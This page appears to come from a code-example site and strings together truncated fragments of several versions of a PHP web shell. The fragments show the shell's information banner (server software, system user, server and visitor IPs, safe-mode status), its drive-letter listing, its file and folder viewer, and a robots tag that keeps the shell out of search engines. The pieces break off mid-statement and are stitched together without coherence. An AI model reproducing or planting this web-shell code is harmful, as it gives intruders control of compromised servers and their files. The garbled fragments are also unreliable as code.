Ejemplo n.º 1
0
        }
    }
    // print useful info
    $s_info = "<table class=\"headtbl\"><tr><td>" . $s_software . "</td></tr>";
    $s_info .= "<tr><td>" . $s_system . "</td></tr>";
    if ($s_id != "") {
        $s_info .= "<tr><td>" . $s_id . "</td></tr>";
    }
    $s_info .= "<tr><td>server ip : " . $s_server_ip . "<span class=\"gaya\"> | </span>your   ip : " . $s_my_ip . "<span class=\"gaya\"> | </span>";
    if ($s_safemode) {
        $s_info .= "safemode <span class=\"gaya\">ON</span>";
    } else {
        $s_info .= "safemode <span class=\"gaya\">OFF</span>";
    }
    $s_info .= "<span class=\"gaya\"> | </span> Time @ Server : " . date("d M Y H:i:s", time());
    $s_info .= "\n\t\t</td></tr>\n\t\t<tr><td style=\"text-align:left;\">\n\t\t\t<table class=\"headtbls\"><tr>\n\t\t\t<td>" . trim($letters) . "</td>\n\t\t\t<td>\n\t\t\t<span id=\"chpwd\">\n\t\t\t&nbsp;<a href=\"javascript:tukar('chpwd','chpwdform')\">\n\t\t\t<img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" />\n\t\t\t&nbsp;&nbsp;</a>" . swd($pwd) . "</span>\n\t\t\t<form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" style=\"margin:0;padding:0;\">\n\t\t\t<span class=\"sembunyi\" id=\"chpwdform\">\n\t\t\t&nbsp;<a href=\"javascript:tukar('chpwdform','chpwd');\">\n\t\t\t<img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" />\n\t\t\t</a>&nbsp;&nbsp;\n\t\t\t<input type=\"hidden\" name=\"d\" class=\"inputz\" style=\"width:300px;\" value=\"" . cp($pwd) . "\" />\n\t\t\t<input type=\"text\" name=\"view\" class=\"inputz\" style=\"width:300px;\" value=\"" . $pwd . "\" />\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"view file / folder\" />\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('chpwdform','chpwd');\" />\n\t\t\t</form>\n\t\t\t</span>\n\t\t\t</td></tr>\n\t\t\t</table>\n\t\t</td></tr>\n\t\t</table>";
}
// OK now... thats the <brain>,, here comes the <head>
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<title><?php 
echo $s_title;
?>
</title>
<link rel="SHORTCUT ICON" href="<?php 
echo $_SERVER['PHP_SELF'] . "?favicon";
                        $s_result .= showdir($cwd);
                    }
                }
            } else {
                $s_result .= showdir($cwd);
            }
        } else {
            $s_result .= showdir($cwd);
        }
    }
    // print useful info
    $s_info = "<table class='headtbl'><tr><td>" . $s_system . "</td></tr>";
    $s_info .= "<tr><td>" . $s_software . "</td></tr>";
    $s_info .= "<tr><td>server ip : " . $s_server_ip . "<span class='gaya'> | </span>your   ip : " . $s_my_ip;
    $s_info .= "<span class='gaya'> | </span> Time @ Server : " . @date("d M Y H:i:s", time());
    $s_info .= "\n\t\t</td></tr>\n\t\t<tr><td style='text-align:left;'>\n\t\t\t<table class='headtbls'><tr>\n\t\t\t<td>" . trim($letters) . "</td>\n\t\t\t<td>\n\t\t\t<span id='chpwd'>\n\t\t\t&nbsp;<a href=\"javascript:tukar('chpwd','chpwdform')\">\n\t\t\t<img height='16px' width='16px' src='" . $s_self . "favicon' alt='Change' style='vertical-align:middle;margin:6px 0;border:0;' />\n\t\t\t&nbsp;&nbsp;</a>" . swd($cwd) . "</span>\n\t\t\t<form action='" . $s_self . "' method='post' style='margin:0;padding:0;'>\n\t\t\t<span class='sembunyi' id='chpwdform'>\n\t\t\t&nbsp;<a href=\"javascript:tukar('chpwdform','chpwd');\">\n\t\t\t<img height='16px' width='16px' src='" . $s_self . "favicon' alt='Change' style='vertical-align:middle;margin:6px 0;border:0;' />\n\t\t\t</a>&nbsp;&nbsp;\n\t\t\t<input type='hidden' name='cd' class='inputz' style='width:300px;' value='" . cp($cwd) . "' />\n\t\t\t<input type='text' name='view' class='inputz' style='width:300px;' value='" . $cwd . "' />\n\t\t\t<input class='inputzbut' type='submit' name='submit' value='view file / folder' />\n\t\t\t</form>\n\t\t\t</span>\n\t\t\t</td></tr>\n\t\t\t</table>\n\t\t</td></tr>\n\t\t</table>";
}
?>
<!DOCTYPE html>
<html>
<head>
<title><?php 
echo $s_title;
?>
</title>
<meta name='robots' content='noindex, nofollow, noarchive'>
<link rel='SHORTCUT ICON' href='<?php 
echo $s_self;
?>
favicon'>
<link href='http://fonts.googleapis.com/css?family=Ubuntu+Mono' rel='stylesheet' type='text/css'>
            $s_result .= showdir($pwd, $s_prompt, $s_win);
        }
    }
    // print useful info
    $s_info = "<table class=\"headtbl\"><tr><td>" . $s_software . "</td></tr>";
    $s_info .= "<tr><td>" . $s_system . "</td></tr>";
    if ($s_id != "") {
        $s_info .= "<tr><td>" . $s_id . "</td></tr>";
    }
    $s_info .= "<tr><td>IP del servidor : " . $s_server_ip . "<span class=\"gaya\"> | </span>TU IP : " . $s_my_ip . "<span class=\"gaya\"> | </span>";
    if ($s_safemode) {
        $s_info .= "safemode <span class=\"gaya\">ON</span>";
    } else {
        $s_info .= "safemode <span class=\"gaya\">OFF</span>";
    }
    $s_info .= "\r\n\t\t</td></tr>\r\n\t\t<tr><td style=\"text-align:left;\">\r\n\t\t\t<table class=\"headtbls\"><tr>\r\n\t\t\t<td>" . trim($letters) . "</td>\r\n\t\t\t<td>\r\n\t\t\t<span id=\"chpwd\">&nbsp;<a href=\"javascript:tukar('chpwd','chpwdform');\">&gt;&nbsp;&nbsp;</a>" . swd($pwd) . "</span>\r\n\t\t\t<form action=\"?\" method=\"get\" style=\"margin:0;padding:0;\">\r\n\t\t\t<span class=\"sembunyi\" id=\"chpwdform\">\r\n\t\t\t&nbsp;<a href=\"javascript:tukar('chpwdform','chpwd');\">&gt;</a>&nbsp;&nbsp;\r\n\t\t\t<input type=\"hidden\" name=\"d\" class=\"inputz\" style=\"width:300px;\" value=\"" . cp($pwd) . "\" />\r\n\t\t\t<input type=\"text\" name=\"view\" class=\"inputz\" style=\"width:300px;\" value=\"" . $pwd . "\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"view\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('chpwdform','chpwd');\" />\r\n\t\t\t</form>\r\n\t\t\t</span>\r\n\t\t\t</td></tr>\r\n\t\t\t</table>\r\n\t\t</td></tr>\r\n\t\t</table>";
}
// OK now... thats the <brain>,, here comes the <head>
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<title><?php 
echo $s_title;
?>
</title>
<link rel="SHORTCUT ICON" href="<?php 
echo $_SERVER['SCRIPT_NAME'] . "?favicon";
Ejemplo n.º 4
0
        if (@is_readable($s_letter . ":\\")) {
            $s_letters .= "<a href='" . $s_self . "cd=" . $s_letter . ":\\'>[ ";
            if ($s_letter . ":" != $s_v) {
                $s_letters .= $s_letter;
            } else {
                $s_letters .= "<span class='drive-letter'>" . $s_letter . "</span>";
            }
            $s_letters .= " ]</a> ";
        }
    }
    // print useful info
    $s_info = "<table class='headtbl'><tr><td>" . $s_system . "</td></tr>";
    $s_info .= "<tr><td>" . $s_software . "</td></tr>";
    $s_info .= "<tr><td>server ip : " . $s_server_ip . "<span class='gaya'> | </span>your   ip : " . $s_my_ip;
    $s_info .= "<span class='gaya'> | </span> Time @ Server : " . @date("d M Y H:i:s", time());
    $s_info .= "</td></tr>\n\t\t\t<tr><td style='text-align:left;'>\n\t\t\t\t<table class='headtbls'><tr>\n\t\t\t\t<td>" . trim($s_letters) . "</td>\n\t\t\t\t<td>\n\t\t\t\t<span id='chpwd'>\n\t\t\t\t&nbsp;<a href=\"javascript:tukar_('chpwd','chpwdform')\">\n\t\t\t\t<span class='icon'>o</span>\n\t\t\t\t&nbsp;&nbsp;</a>" . swd($s_cwd) . "</span>\n\t\t\t\t<form action='" . $s_self . "' method='post' style='margin:0;padding:0;'>\n\t\t\t\t<span class='sembunyi' id='chpwdform'>\n\t\t\t\t&nbsp;<a href=\"javascript:tukar_('chpwdform','chpwd');\">\n\t\t\t\t<span class='icon'>o</span>\n\t\t\t\t</a>&nbsp;&nbsp;\n\t\t\t\t<input type='text' name='view' class='inputz' style='width:300px;' value='" . hss($s_cwd) . "' />\n\t\t\t\t<input class='inputzbut' type='submit' name='submit' value='view file / folder' />\n\t\t\t\t</span>\n\t\t\t\t</form>\n\t\t\t\t</td></tr>\n\t\t\t\t</table>\n\t\t\t</td></tr>\n\t\t\t</table>";
}
$s_error = @ob_get_contents();
$s_result = isset($s_result) ? $s_result : "";
if (!empty($s_error)) {
    $s_result = notif($s_error) . $s_result;
}
@ob_end_clean();
@ob_start();
?>
<!DOCTYPE html>
<html>
<head>
<title><?php 
echo $s_title;
?>